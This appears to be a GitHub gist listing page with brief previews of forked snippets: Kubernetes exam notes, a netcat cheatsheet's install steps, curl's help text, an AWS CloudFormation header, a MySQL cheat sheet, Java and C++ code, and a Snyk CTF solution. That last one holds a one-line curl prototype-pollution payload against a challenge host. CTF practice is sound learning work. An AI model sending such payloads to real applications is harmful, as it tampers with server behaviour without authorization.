Skip to content

Instantly share code, notes, and snippets.

@jv199768
jv199768 / ckad_exam.md
Created November 23, 2024 23:49 — forked from doogle-oss/ckad_exam.md
CKAD Exam

===========================================================================================

get contexts

alias k=kubectl
k config get-context
k config current-context
echo " k config current-context" > /opt/course/1/context_default_kubectl.sh
chmod +x /opt/course/1/context_default_kubectl.sh
bash /opt/course/1/context_default_kubectl.sh
cat .kube/config | grep current
Questions are not from any actual exam!!!
Q: Create a job that calculates pi to 2000 decimal points using the container with the image named perl
and the following commands issued to the container: ["perl", "-Mbignum=bpi", "-wle", "print bpi(2000)"]
Once the job has completed, check the logs to and export the result to pi-result.txt.
Solution:
@jv199768
jv199768 / nc.md
Created September 1, 2024 13:38 — forked from cmbaughman/nc.md
Netcat (nc) cheatsheet

##Netcat Commands

NOTE: - If on Ubuntu, you need the REAL nc package, to get it use:

sudo apt-get -y install netcat-traditional
sudo update-alternatives --config nc
# Select the nc.traditional option
@jv199768
jv199768 / list-of-curl-options.txt
Created August 27, 2024 23:40 — forked from eneko/list-of-curl-options.txt
List of `curl` options
$ curl --help
Usage: curl [options...] <url>
--abstract-unix-socket <path> Connect via abstract Unix domain socket
--alt-svc <file name> Enable alt-svc with this cache file
--anyauth Pick any authentication method
-a, --append Append to target file when uploading
--basic Use HTTP Basic Authentication
--cacert <file> CA certificate to verify peer against
--capath <dir> CA directory to verify peer against
-E, --cert <certificate[:password]> Client certificate file and password
@jv199768
jv199768 / aws-cft-vpc-network.yaml
Created July 17, 2024 21:48 — forked from anveshmuppeda/aws-cft-vpc-network.yaml
AWS Clod Formation Template for - Creating VPC, NAT Gateway, EIP, Public & Private Subnets, Route Tables, Internet Gateway, NACLs, Security Groups, EC2 Servers, Bastion, IAM Role, and IAM Policy.
# Author : Anvesh Muppeda
# Source Code: https://github.com/anveshmuppeda/aws
AWSTemplateFormatVersion: 2010-09-09
Description: AWS CFT for - Creating VPC, NAT Gateway, EIP, Public & Private Subnetes, Route Tables, Internet Gateway, NACLs, Security Groups, EC2 Servers, Bastion, IAM Role, and IAM Policy.
# Parameters for VPC configuration, instance settings, and resource tagging
Parameters:
myTag:
Description: Tag for the all resources

MySQL Cheat Sheet

Help with SQL commands to interact with a MySQL database

MySQL Locations

  • Mac /usr/local/mysql/bin
  • Windows /Program Files/MySQL/MySQL version/bin
  • Xampp /xampp/mysql/bin

Add mysql to your PATH

import java.util.concurrent.BrokenBarrierException;
import java.util.concurrent.CyclicBarrier;
public class SprintPlanning {
public static void main(String[] args) {
CyclicBarrier syncPoint = new CyclicBarrier(3, () -> System.out.println("Sprint planning meeting"));
// Teams working on different components
new Thread(new TeamMember("Frontend", syncPoint)).start();
new Thread(new TeamMember("Backend", syncPoint)).start();
class Solution {
public:
int findMinStep(string board, string hand) {
string boardC = compress(board);
string chars = "RYBGW";
unordered_map<char, int> map;
//still count when there is no sunch color in hand
//since if we eventually have consecutive colors with length
//longer than 3 we can remove it
//for example, RWWRRRRRR, we don't want to remove right Rs first
@jv199768
jv199768 / solution.sh
Created May 31, 2024 11:08 — forked from pythoninthegrass/solution.sh
Snyk CTF-101: invisible-ink
# invisible-ink
curl -H "Content-Type: application/json" -X POST -d '{"about": {"__proto__": {"flag": "true"}}}' http://invisible-ink.c.ctf-snyk.io/echo